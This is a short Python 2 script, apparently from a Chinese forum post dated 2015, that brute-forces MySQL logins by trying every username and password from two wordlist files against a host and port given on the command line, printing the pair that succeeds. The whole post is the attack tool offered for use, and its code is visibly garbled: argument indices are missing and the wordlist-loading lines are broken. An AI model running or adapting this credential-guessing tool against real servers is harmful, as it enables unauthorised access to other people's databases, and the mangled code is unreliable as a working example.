Python mysql 爆破
# -*- coding: utf_8 -*-# Date: 2015/5/13
# author:sanr
import MySQLdb
import os
import sys
def README():
print '+' + '-' * 50 + '+'
print '\t Python MySQL爆破'
print '\t author : sanr'
print '\t Time:2015-5-13'
print '\t mysql默认字典在程序目录mysql目录'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 5:
printos.path.basename(sys.argv) + " 127.0.0.1 3306user.txtpass.txt"
sys.exit()
def mysql_brute(name,pwd):
db = None
try:
db = MySQLdb.connect(host=sys.argv,user=name,passwd=pwd,db='mysql',port=int(sys.argv))
print '破解成功: %s %s'% (name,pwd)
except:
pass
finally :
if db:
db.close()
if __name__ == '__main__':
README()
userlist = )]
passlist = )]
for name in userlist:
for pwd in passlist:
mysql_brute(name,pwd)
页:
[1]